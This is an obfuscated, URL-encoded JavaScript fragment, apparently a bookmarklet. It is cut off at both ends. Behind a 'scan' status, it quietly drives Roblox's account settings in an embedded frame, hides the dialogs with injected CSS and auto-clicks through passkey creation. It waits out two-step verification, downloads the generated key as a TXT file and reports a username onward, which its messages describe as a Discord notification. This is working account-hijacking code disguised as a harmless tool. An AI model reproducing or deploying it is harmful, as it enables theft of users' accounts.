C114%2C101%2C115%2C115%2C44%2C46%2C112%2C114%2C111%2C103%2C114%2C101%2C115%2C115%2C45%2C98%2C97%2C114%2C44%2C46%2C77%2C117%2C105%2C76%2C105%2C110%2C101%2C97%2C114%2C80%2C114%2C111%2C103%2C114%2C101%2C115%2C115%2C45%2C114%2C111%2C111%2C116%2C44%2C46%2C108%2C111%2C97%2C100%2C105%2C110%2C103%2C46%2C109%2C111%2C100%2C97%2C108%2C45%2C112%2C114%2C111%2C99%2C101%2C115%2C115%2C105%2C110%2C103%29%3B%20style.textContent%20%2B%3D%20__S%28104%2C116%2C109%2C108%2C32%2C98%2C111%2C100%2C121%2C32%2C58%2C105%2C115%2C40%29%20%2B%20loadingIndicators%20%2B%20__S%2841%2C44%2C104%2C116%2C109%2C108%2C32%2C98%2C111%2C100%2C121%2C32%2C58%2C105%2C115%2C40%29%20%2B%20loadingIndicators%20%2B%20__S%2841%2C32%2C42%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C104%2C105%2C100%2C100%2C101%2C110%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C59%2C111%2C112%2C97%2C99%2C105%2C116%2C121%2C58%2C48%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C59%2C112%2C111%2C105%2C110%2C116%2C101%2C114%2C45%2C101%2C118%2C101%2C110%2C116%2C115%2C58%2C110%2C111%2C110%2C101%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%29%3B%20style.textContent%20%2B%3D%20__S%2891%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%2C93%2C44%2C91%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%2C93%2C32%2C42%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C104%2C105%2C100%2C100%2C101%2C110%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C59%2C112%2C111%2C105%2C110%2C116%2C101%2C114%2C45%2C101%2C118%2C101%2C110%2C116%2C115%2C58%2C110%2C111%2C110%2C101%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%29%3B%20doc.head.append%28style%29%3B%20const%20text%20%3D%20element%20%3D%3E%20%28element.textContent%20%7C%7C%20__S%28%29%29.replace%28%2F%5Cs%2B%2Fg%2C%20__S%2832%29%29.trim%28%29%3B%20const%20rendered%20%3D%20element%20%3D%3E%20element.isConnected%20%26%26%20element.getClientRects%28%29.length%20%3E%200%20%26%26%20win.getComputedStyle%28element%29.display%20%21%3D%3D%20__S%28110%2C111%2C110%2C101%29%20%26%26%20%21element.closest%28__S%2891%2C97%2C114%2C105%2C97%2C45%2C104%2C105%2C100%2C100%2C101%2C110%2C61%2C34%2C116%2C114%2C117%2C101%2C34%2C93%2C44%2C91%2C104%2C105%2C100%2C100%2C101%2C110%2C93%29%29%3B%20const%20enabled%20%3D%20element%20%3D%3E%20rendered%28element%29%20%26%26%20%21element.disabled%20%26%26%20element.getAttribute%28__S%2897%2C114%2C105%2C97%2C45%2C100%2C105%2C115%2C97%2C98%2C108%2C101%2C100%29%29%20%21%3D%3D%20__S%28116%2C114%2C117%2C101%29%3B%20const%20find%20%3D%20%28root%2C%20pattern%29%20%3D%3E%20%5B...root.querySelectorAll%28__S%2898%2C117%2C116%2C116%2C111%2C110%2C44%2C97%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C98%2C117%2C116%2C116%2C111%2C110%2C34%2C93%29%29%5D.find%28element%20%3D%3E%20enabled%28element%29%20%26%26%20pattern.test%28text%28element%29%29%29%3B%20const%20headings%20%3D%20dialog%20%3D%3E%20%5B...dialog.querySelectorAll%28__S%28104%2C49%2C44%2C104%2C50%2C44%2C104%2C51%2C44%2C104%2C52%2C44%2C104%2C53%2C44%2C104%2C54%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C104%2C101%2C97%2C100%2C105%2C110%2C103%2C34%2C93%29%29%5D.filter%28rendered%29%3B%20const%20isAddDialog%20%3D%20dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5Eadd%5Cs%2B%28%3F%3Aa%5Cs%2B%29%3Fpasskey%24%2Fi.test%28text%28heading%29%29%29%3B%20const%20isPasskeyDialog%20%3D%20dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5Cbpasskeys%3F%5Cb%2Fi.test%28text%28heading%29%29%20%26%26%20%21%2F%5Emanage%5Cb%2Fi.test%28text%28heading%29%29%29%3B%20const%20createLabel%20%3D%20%2F%5Ecreate%5Cs%2B%28%3F%3Aa%5Cs%2B%7Cnew%5Cs%2B%29%3Fpasskey%24%2Fi%3B%20const%20isVerificationDialog%20%3D%20dialog%20%3D%3E%20%5B...dialog.querySelectorAll%28__S%28105%2C110%2C112%2C117%2C116%2C91%2C97%2C117%2C116%2C111%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C61%2C34%2C111%2C110%2C101%2C45%2C116%2C105%2C109%2C101%2C45%2C99%2C111%2C100%2C101%2C34%2C93%2C44%2C105%2C110%2C112%2C117%2C116%2C91%2C116%2C121%2C112%2C101%2C61%2C34%2C112%2C97%2C115%2C115%2C119%2C111%2C114%2C100%2C34%2C93%29%29%5D.some%28rendered%29%20%7C%7C%20%2F%5Cb%28%3F%3A%28%3F%3A2%5B%5Cs-%5D%2Astep%7Ctwo%5B%5Cs-%5D%2Astep%29%20verification%7Cverify%20%28%3F%3Ayour%20%29%3F%28%3F%3Aidentity%7Caccount%29%7Center%20%28%3F%3Athe%20%7Cyour%20%7Ca%20%29%3F%28%3F%3Averification%20%7Csecurity%20%7Cauthenticator%20%7Cemail%20%29%3Fcode%7Cauthenticator%20code%29%5Cb%2Fi.test%28text%28dialog%29%29%3B%20doc.addEventListener%28__S%2899%2C108%2C105%2C99%2C107%29%2C%20event%20%3D%3E%20%7B%20const%20button%20%3D%20event.target%3F.closest%3F.%28__S%2898%2C117%2C116%2C116%2C111%2C110%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C98%2C117%2C116%2C116%2C111%2C110%2C34%2C93%2C44%2C97%29%29%3B%20if%20%28button%20%26%26%20%28__verificationVisible%20%7C%7C%20__awaitingVerification%29%29%20%7B%20const%20rawLabel%20%3D%20%28text%28button%29%20%2B%20__S%2832%29%20%2B%20%28button.getAttribute%28__S%2897%2C114%2C105%2C97%2C45%2C108%2C97%2C98%2C101%2C108%29%29%20%7C%7C%20__S%28%29%29%20%2B%20__S%2832%29%20%2B%20%28button.getAttribute%28__S%28116%2C105%2C116%2C108%2C101%29%29%20%7C%7C%20__S%28%29%29%29.trim%28%29%3B%20if%20%28%2F%28%3F%3A%5E%7C%5Cb%29%28cancel%7Cclose%7Cback%7Cdismiss%7Clater%7Cnot%20now%29%28%3F%3A%5Cb%7C%24%29%2Fi.test%28rawLabel%29%20%7C%7C%20%28%21rawLabel%20%26%26%20%2Fclose%7Cdismiss%7Ccancel%2Fi.test%28button.className%20%7C%7C%20__S%28%29%29%29%29%20__verifyCancelled%20%3D%20true%3B%20%7D%20const%20dialog%20%3D%20button%3F.closest%28__S%2891%2C114%2C111%2C108%2C101%2C61%2C34%2C100%2C105%2C97%2C108%2C111%2C103%2C34%2C93%2C44%2C46%2C109%2C111%2C100%2C97%2C108%2C45%2C100%2C105%2C97%2C108%2C111%2C103%29%29%3B%20if%20%28%21dialog%29%20return%3B%20if%20%28isAddDialog%28dialog%29%20%26%26%20%2F%5Econtinue%24%2Fi.test%28text%28button%29%29%29%20clickedContinue%20%3D%20true%3B%20if%20%28isPasskeyDialog%28dialog%29%20%26%26%20createLabel.test%28text%28button%29%29%29%20creationRequested%20%3D%20true%3B%20if%20%28isVerificationDialog%28dialog%29%29%20__verifyCancelled%20%3D%20%2F%5E%28cancel%7Cclose%7Cback%7Cdismiss%7Cnot%20now%7Clater%29%24%2Fi.test%28text%28button%29%29%3B%20%7D%2C%20true%29%3B%20doc.addEventListener%28__S%28107%2C101%2C121%2C100%2C111%2C119%2C110%29%2C%20event%20%3D%3E%20%7B%20if%20%28event.key%20%3D%3D%3D%20__S%2869%2C115%2C99%2C97%2C112%2C101%29%20%26%26%20%28__verificationVisible%20%7C%7C%20__awaitingVerification%29%20%26%26%20%21generated%29%20__verifyCancelled%20%3D%20true%3B%20%7D%29%3B%20const%20__allDocs%20%3D%20%28%29%20%3D%3E%20%7B%20const%20out%20%3D%20%5Bdoc%5D%3B%20for%20%28let%20i%20%3D%200%3B%20i%20%3C%20out.length%3B%20i%2B%2B%29%20%7B%20try%20%7B%20for%20%28const%20f%20of%20out%5Bi%5D.querySelectorAll%28__S%28105%2C102%2C114%2C97%2C109%2C101%29%29%29%20%7B%20try%20%7B%20if%20%28f.contentDocument%29%20out.push%28f.contentDocument%29%3B%20%7D%20catch%20%7B%7D%20%7D%20%7D%20catch%20%7B%7D%20%7D%20return%20out%3B%20%7D%3B%20const%20__bindCancel%20%3D%20d%20%3D%3E%20%7B%20if%20%28%21d%20%7C%7C%20d.__cancelBound%29%20return%3B%20d.__cancelBound%20%3D%20true%3B%20d.addEventListener%28__S%2899%2C108%2C105%2C99%2C107%29%2C%20ev%20%3D%3E%20%7B%20if%20%28%21%28__verificationVisible%20%7C%7C%20__awaitingVerification%29%20%7C%7C%20generated%29%20return%3B%20const%20b%20%3D%20ev.target%3F.closest%3F.%28__S%2898%2C117%2C116%2C116%2C111%2C110%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C98%2C117%2C116%2C116%2C111%2C110%2C34%2C93%2C44%2C97%29%29%3B%20if%20%28%21b%29%20return%3B%20const%20lbl%20%3D%20%28%28b.textContent%20%7C%7C%20__S%28%29%29%20%2B%20__S%2832%29%20%2B%20%28b.getAttribute%28__S%2897%2C114%2C105%2C97%2C45%2C108%2C97%2C98%2C101%2C108%29%29%20%7C%7C%20__S%28%29%29%20%2B%20__S%2832%29%20%2B%20%28b.getAttribute%28__S%28116%2C105%2C116%2C108%2C101%29%29%20%7C%7C%20__S%28%29%29%20%2B%20__S%2832%29%20%2B%20%28b.className%20%7C%7C%20__S%28%29%29%29.trim%28%29%3B%20if%20%28%2F%28%3F%3A%5E%7C%5Cb%29%28cancel%7Cclose%7Cback%7Cdismiss%7Clater%7Cnot%20now%29%28%3F%3A%5Cb%7C%24%29%2Fi.test%28lbl%29%29%20__verifyCancelled%20%3D%20true%3B%20%7D%2C%20true%29%3B%20%7D%3B%20const%20__twoFaOpen%20%3D%20%28%29%20%3D%3E%20__allDocs%28%29.some%28d%20%3D%3E%20%7B%20try%20%7B%20return%20%2Fuse%20your%20passkey%20to%20confirm%7Cuse%20another%20verification%20method%2Fi.test%28d.body%20%3F%20d.body.innerText%20%3A%20__S%28%29%29%3B%20%7D%20catch%20%7B%20return%20false%3B%20%7D%20%7D%29%3B%20const%20tick%20%3D%20%28%29%20%3D%3E%20%7B%20if%20%28ended%29%20return%3B%20if%20%28%21frame.isConnected%29%20%7B%20cleanup%28%29%3B%20return%3B%20%7D%20try%20%7B%20try%20%7B%20__allDocs%28%29.forEach%28__bindCancel%29%3B%20%7D%20catch%20%7B%7D%20if%20%28__verifyCancelled%20%26%26%20%21generated%29%20%7B%20__postVerifyStarted%20%3D%20true%3B%20clearTimeout%28__postVerifyTimer%29%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C32%2C102%2C97%2C105%2C108%2C101%2C100%29%2C%20__S%2835%2C102%2C102%2C56%2C97%2C56%2C48%29%29%3B%20__resetScan%28%29%3B%20cleanup%28%29%3B%20return%3B%20%7D%20if%20%28%28__awaitingVerification%20%7C%7C%20verificationSeen%29%20%26%26%20__twoFaOpen%28%29%29%20%7B%20__twoFaSeen%20%3D%20true%3B%20if%20%28__twoFaGoneTimer%29%20%7B%20clearTimeout%28__twoFaGoneTimer%29%3B%20__twoFaGoneTimer%20%3D%20null%3B%20%7D%20%7D%20else%20if%20%28__twoFaSeen%20%26%26%20%21generated%20%26%26%20%21__twoFaGoneTimer%29%20%7B%20__twoFaGoneTimer%20%3D%20setTimeout%28%28%29%20%3D%3E%20%7B%20__twoFaGoneTimer%20%3D%20null%3B%20if%20%28%21generated%29%20%7B%20clearTimeout%28__postVerifyTimer%29%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C32%2C102%2C97%2C105%2C108%2C101%2C100%29%2C%20__S%2835%2C102%2C102%2C56%2C97%2C56%2C48%29%29%3B%20__resetScan%28%29%3B%20cleanup%28%29%3B%20%7D%20%7D%2C%201800%29%3B%20%7D%20if%20%28%21revealed%20%26%26%20%21clickedContinue%20%26%26%20Date.now%28%29%20%3E%20deadline%29%20%7B%20fail%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C100%2C105%2C100%2C32%2C110%2C111%2C116%2C32%2C111%2C112%2C101%2C110%2C32%2C105%2C116%2C115%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C100%2C105%2C97%2C108%2C111%2C103%2C32%2C105%2C110%2C32%2C116%2C104%2C101%2C32%2C101%2C109%2C98%2C101%2C100%2C100%2C101%2C100%2C32%2C118%2C105%2C101%2C119%2C46%2C32%2C84%2C114%2C121%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C83%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C62%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C73%2C110%2C102%2C111%2C32%2C62%2C32%2C76%2C111%2C103%2C105%2C110%2C32%2C77%2C101%2C116%2C104%2C111%2C100%2C115%2C46%29%29%3B%20return%3B%20%7D%20const%20dialogs%20%3D%20%5B...new%20Set%28doc.querySelectorAll%28__S%2891%2C114%2C111%2C108%2C101%2C61%2C34%2C100%2C105%2C97%2C108%2C111%2C103%2C34%2C93%2C44%2C46%2C109%2C111%2C100%2C97%2C108%2C45%2C100%2C105%2C97%2C108%2C111%2C103%29%29%29%5D.filter%28rendered%29%3B%20const%20manager%20%3D%20dialogs.find%28dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5Emanage%20%28%3F%3Ayour%20%29%3Fpasskeys%24%2Fi.test%28text%28heading%29%29%29%29%3B%20if%20%28%21clickedAdd%29%20%7B%20const%20add%20%3D%20find%28manager%20%7C%7C%20doc%2C%20%2F%5Eadd%5Cs%2B%28%3F%3A%28%3F%3Aa%7Canother%7Cnew%29%5Cs%2B%29%3Fpasskey%24%2Fi%29%3B%20if%20%28add%29%20%7B%20clickedAdd%20%3D%20true%3B%20add.click%28%29%3B%20return%3B%20%7D%20if%20%28%21manager%20%26%26%20%21clickedManage%29%20%7B%20const%20manage%20%3D%20%5B...doc.querySelectorAll%28__S%2846%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C109%2C97%2C110%2C97%2C103%2C101%2C45%2C98%2C117%2C116%2C116%2C111%2C110%29%29%5D.find%28enabled%29%3B%20if%20%28manage%29%20%7B%20clickedManage%20%3D%20true%3B%20manage.click%28%29%3B%20return%3B%20%7D%20%7D%20%7D%20const%20currentDialogs%20%3D%20dialogs.filter%28dialog%20%3D%3E%20dialog%20%21%3D%3D%20manager%20%26%26%20%21dialog.contains%28manager%29%20%26%26%20%21manager%3F.contains%28dialog%29%29%3B%20const%20success%20%3D%20generated%20%26%26%20currentDialogs.find%28dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5E%28%3F%3Ayour%5Cs%2B%29%3Fpasskey%5Cs%2B%28%3F%3A%28%3F%3Ahas%20been%7Cwas%29%5Cs%2B%29%3F%28%3F%3Asuccessfully%5Cs%2B%29%3F%28%3F%3Acreated%7Cadded%29%5B.%21%5D%3F%24%2Fi.test%28text%28heading%29%29%29%29%3B%20doc.querySelectorAll%28__S%2891%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%2C93%29%29.forEach%28dialog%20%3D%3E%20%7B%20if%20%28dialog%20%21%3D%3D%20success%29%20dialog.removeAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%29%29%3B%20%7D%29%3B%20if%20%28success%29%20%7B%20success.setAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%29%2C%20__S%28%29%29%3B%20const%20ok%20%3D%20find%28success%2C%20%2F%5Eok%24%2Fi%29%3B%20if%20%28ok%29%20%7B%20ok.click%28%29%3B%20cleanup%28%29%3B%20if%20%28%21notificationStarted%20%26%26%20generated%29%20%7B%20notificationStarted%20%3D%20true%3B%20PasskeyNotification.send%28notificationUsername%29.catch%28%28%29%20%3D%3E%20%7B%20%28%28%29%3D%3E%7B%7D%29%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C99%2C111%2C110%2C102%2C105%2C114%2C109%2C101%2C100%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C111%2C110%2C32%2C97%2C110%2C100%2C32%2C116%2C104%2C101%2C32%2C84%2C88%2C84%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C32%2C119%2C97%2C115%2C32%2C115%2C116%2C97%2C114%2C116%2C101%2C100%2C44%2C32%2C98%2C117%2C116%2C32%2C116%2C104%2C101%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C117%2C115%2C101%2C114%2C110%2C97%2C109%2C101%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C99%2C111%2C117%2C108%2C100%2C32%2C110%2C111%2C116%2C32%2C98%2C101%2C32%2C115%2C101%2C110%2C116%2C46%29%29%3B%20%7D%29%3B%20%7D%20return%3B%20%7D%20%7D%20const%20failed%20%3D%20currentDialogs.find%28dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5E%28%3F%3Asomething%20went%20wrong%7Can%20error%20%28%3F%3Ahas%20%29%3Foccurred%7Cunable%20to%20%28%3F%3Asave%7Ccreate%29%28%3F%3A.%2A%29%29%24%2Fi.test%28text%28heading%29%29%29%20%7C%7C%20%2F%5Cbwe%20%28%3F%3Aweren%5B%27%E2%80%99%5Dt%7Cwere%20not%29%20able%20to%20save%20your%20changes%5Cb%2Fi.test%28text%28dialog%29%29%29%3B%20if%20%28failed%29%20%7B%20const%20failure%20%3D%20diagnostics%3F.failure%28%29%3B%20const%20phase%20%3D%20lastError%20%7C%7C%20%28generated%20%3F%20__S%2865%2C32%2C84%2C88%2C84%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C32%2C119%2C97%2C115%2C32%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C101%2C100%2C44%2C32%2C98%2C117%2C116%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C104%2C97%2C115%2C32%2C110%2C111%2C116%2C32%2C99%2C111%2C110%2C102%2C105%2C114%2C109%2C101%2C100%2C32%2C114%2C101%2C103%2C105%2C115%2C116%2C114%2C97%2C116%2C105%2C111%2C110%2C46%29%20%3A%20generatorRequested%20%3F%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C101%2C100%2C32%2C107%2C101%2C121%2C32%2C103%2C101%2C110%2C101%2C114%2C97%2C116%2C105%2C111%2C110%2C44%2C32%2C98%2C117%2C116%2C32%2C105%2C116%2C32%2C115%2C116%2C111%2C112%2C112%2C101%2C100%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C116%2C104%2C101%2C32%2C84%2C88%2C84%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C46%29%20%3A%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C100%2C105%2C100%2C32%2C110%2C111%2C116%2C32%2C99%2C97%2C108%2C108%2C32%2C116%2C104%2C101%2C32%2C98%2C111%2C111%2C107%2C109%2C97%2C114%2C107%2C226%2C128%2C153%2C115%2C32%2C107%2C101%2C121%2C32%2C103%2C101%2C110%2C101%2C114%2C97%2C116%2C111%2C114%2C46%29%29%3B%20const%20network%20%3D%20failure%20%3F%20failure.status%20%3D%3D%3D%200%20%3F%20__S%2832%2C84%2C104%2C101%2C32%29%20%2B%20failure.kind%20%2B%20__S%2832%2C102%2C97%2C105%2C108%2C101%2C100%2C32%2C111%2C114%2C32%2C119%2C97%2C115%2C32%2C98%2C108%2C111%2C99%2C107%2C101%2C100%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C97%2C110%2C32%2C72%2C84%2C84%2C80%2C32%2C114%2C101%2C115%2C112%2C111%2C110%2C115%2C101%2C46%29%20%3A%20__S%2832%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C101%2C100%2C32%2C72%2C84%2C84%2C80%2C32%29%20%2B%20failure.status%20%2B%20__S%2832%2C102%2C111%2C114%2C32%2C116%2C104%2C101%2C32%29%20%2B%20failure.kind%20%2B%20__S%2846%29%20%3A%20__S%2832%2C78%2C111%2C32%2C100%2C101%2C116%2C97%2C105%2C108%2C101%2C100%2C32%2C72%2C84%2C84%2C80%2C32%2C101%2C114%2C114%2C111%2C114%2C32%2C119%2C97%2C115%2C32%2C97%2C118%2C97%2C105%2C108%2C97%2C98%2C108%2C101%2C32%2C116%2C111%2C32%2C116%2C104%2C101%2C32%2C98%2C111%2C111%2C107%2C109%2C97%2C114%2C107%2C46%29%3B%20let%20detail%20%3D%20failed.querySelector%28__S%2891%2C100%2C97%2C116%2C97%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C102%2C97%2C105%2C108%2C117%2C114%2C101%2C45%2C100%2C101%2C116%2C97%2C105%2C108%2C93%29%29%3B%20if%20%28%21detail%29%20%7B%20detail%20%3D%20doc.createElement%28__S%28112%29%29%3B%20detail.setAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C102%2C97%2C105%2C108%2C117%2C114%2C101%2C45%2C100%2C101%2C116%2C97%2C105%2C108%29%2C%20__S%28%29%29%3B%20detail.setAttribute%28__S%28114%2C111%2C108%2C101%29%2C%20__S%2897%2C108%2C101%2C114%2C116%29%29%3B%20detail.style.cssText%20%3D%20__S%28109%2C97%2C114%2C103%2C105%2C110%2C58%2C49%2C50%2C112%2C120%2C32%2C49%2C54%2C112%2C120%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C97%2C49%2C50%2C54%2C50%2C50%2C59%2C102%2C111%2C110%2C116%2C58%2C49%2C51%2C112%2C120%2C47%2C49%2C46%2C52%2C53%2C32%2C115%2C121%2C115%2C116%2C101%2C109%2C45%2C117%2C105%29%3B%20%28failed.querySelector%28__S%2846%2C109%2C111%2C100%2C97%2C108%2C45%2C98%2C111%2C100%2C121%29%29%20%7C%7C%20failed.querySelector%28__S%2846%2C109%2C111%2C100%2C97%2C108%2C45%2C99%2C111%2C110%2C116%2C101%2C110%2C116%29%29%20%7C%7C%20failed%29.append%28detail%29%3B%20%7D%20const%20message%20%3D%20phase%20%2B%20network%20%2B%20__S%2832%2C78%2C111%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C119%2C97%2C115%2C32%2C115%2C101%2C110%2C116%2C46%29%3B%20if%20%28detail.textContent%20%21%3D%3D%20message%29%20detail.textContent%20%3D%20message%3B%20%7D%20const%20verificationOpen%20%3D%20currentDialogs.some%28isVerificationDialog%29%3B%20__verificationVisible%20%3D%20verificationOpen%3B%20if%20%28verificationOpen%29%20%7B%20verificationSeen%20%3D%20true%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2886%2C101%2C114%2C105%2C102%2C121%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C111%2C119%2C110%2C101%2C114%2C115%2C104%2C105%2C112%29%2C%20__S%2835%2C102%2C102%2C100%2C49%2C54%2C54%29%29%3B%20%7D%20%20if%20%28clickedAdd%20%26%26%20%21clickedContinue%20%26%26%20%21verificationOpen%20%26%26%20%21exporterError%29%20%7B%20const%20setup%20%3D%20currentDialogs.find%28isAddDialog%29%3B%20const%20next%20%3D%20setup%20%26%26%20find%28setup%2C%20%2F%5Econtinue%24%2Fi%29%3B%20if%20%28next%29%20%7B%20verificationSeen%20%3D%20true%3B%20__awaitingVerification%20%3D%20true%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2886%2C101%2C114%2C105%2C102%2C121%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C111%2C119%2C110%2C101%2C114%2C115%2C104%2C105%2C112%29%2C%20__S%2835%2C102%2C102%2C100%2C49%2C54%2C54%29%29%3B%20clickedContinue%20%3D%20true%3B%20close.textContent%20%3D%20__S%2867%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C118%2C101%2C114%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%3B%20next.click%28%29%3B%20return%3B%20%7D%20%7D%20const%20readyDialogs%20%3D%20currentDialogs.filter%28dialog%20%3D%3E%20%7B%20if%20%28success%20%26%26%20%28dialog%20%3D%3D%3D%20success%20%7C%7C%20dialog.contains%28success%29%20%7C%7C%20success.contains%28dialog%29%29%29%20return%20false%3B%20const%20fields%20%3D%20%5B...dialog.querySelectorAll%28__S%28105%2C110%2C112%2C117%2C116%2C58%2C110%2C111%2C116%2C40%2C91%2C116%2C121%2C112%2C101%2C61%2C34%2C104%2C105%2C100%2C100%2C101%2C110%2C34%2C93%2C41%2C44%2C115%2C101%2C108%2C101%2C99%2C116%2C44%2C116%2C101%2C120%2C116%2C97%2C114%2C101%2C97%2C44%2C105%2C102%2C114%2C97%2C109%2C101%29%29%5D.some%28rendered%29%3B%20const%20heading%20%3D%20headings%28dialog%29.some%28element%20%3D%3E%20text%28element%29%20%26%26%20%21%2F%5E%28%3F%3Aloading%7Cplease%20wait%7Cprocessing%29%5B%5Cs.%5Cu2026-%5D%2A%24%2Fi.test%28text%28element%29%29%29%3B%20const%20action%20%3D%20%5B...dialog.querySelectorAll%28__S%2898%2C117%2C116%2C116%2C111%2C110%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C98%2C117%2C116%2C116%2C111%2C110%2C34%2C93%29%29%5D.some%28element%20%3D%3E%20enabled%28element%29%20%26%26%20text%28element%29%20%26%26%20%21%2F%5E%28%3F%3Aclose%7Ccancel%7Cback%29%24%2Fi.test%28text%28element%29%29%29%3B%20const%20message%20%3D%20%5B...dialog.querySelectorAll%28__S%2891%2C114%2C111%2C108%2C101%2C61%2C34%2C97%2C108%2C101%2C114%2C116%2C34%2C93%2C44%2C91%2C97%2C114%2C105%2C97%2C45%2C108%2C105%2C118%2C101%2C61%2C34%2C97%2C115%2C115%2C101%2C114%2C116%2C105%2C118%2C101%2C34%2C93%29%29%5D.some%28element%20%3D%3E%20rendered%28element%29%20%26%26%20text%28element%29%29%3B%20return%20fields%20%7C%7C%20heading%20%7C%7C%20action%20%7C%7C%20message%3B%20%7D%29%3B%20doc.querySelectorAll%28__S%2891%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%2C93%29%29.forEach%28dialog%20%3D%3E%20%7B%20if%20%28%21readyDialogs.includes%28dialog%29%29%20dialog.removeAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%29%29%3B%20%7D%29%3B%20doc.querySelectorAll%28__S%2891%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%2C93%29%29.forEach%28overlay%20%3D%3E%20%7B%20if%20%28%21readyDialogs.some%28dialog%20%3D%3E%20overlay.contains%28dialog%29%29%29%20overlay.removeAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%29%29%3B%20%7D%29%3B%20frame.style.opacity%20%3D%20readyDialogs.length%20%3F%20__S%2849%29%20%3A%20__S%2848%29%3B%20frame.style.pointerEvents%20%3D%20readyDialogs.length%20%3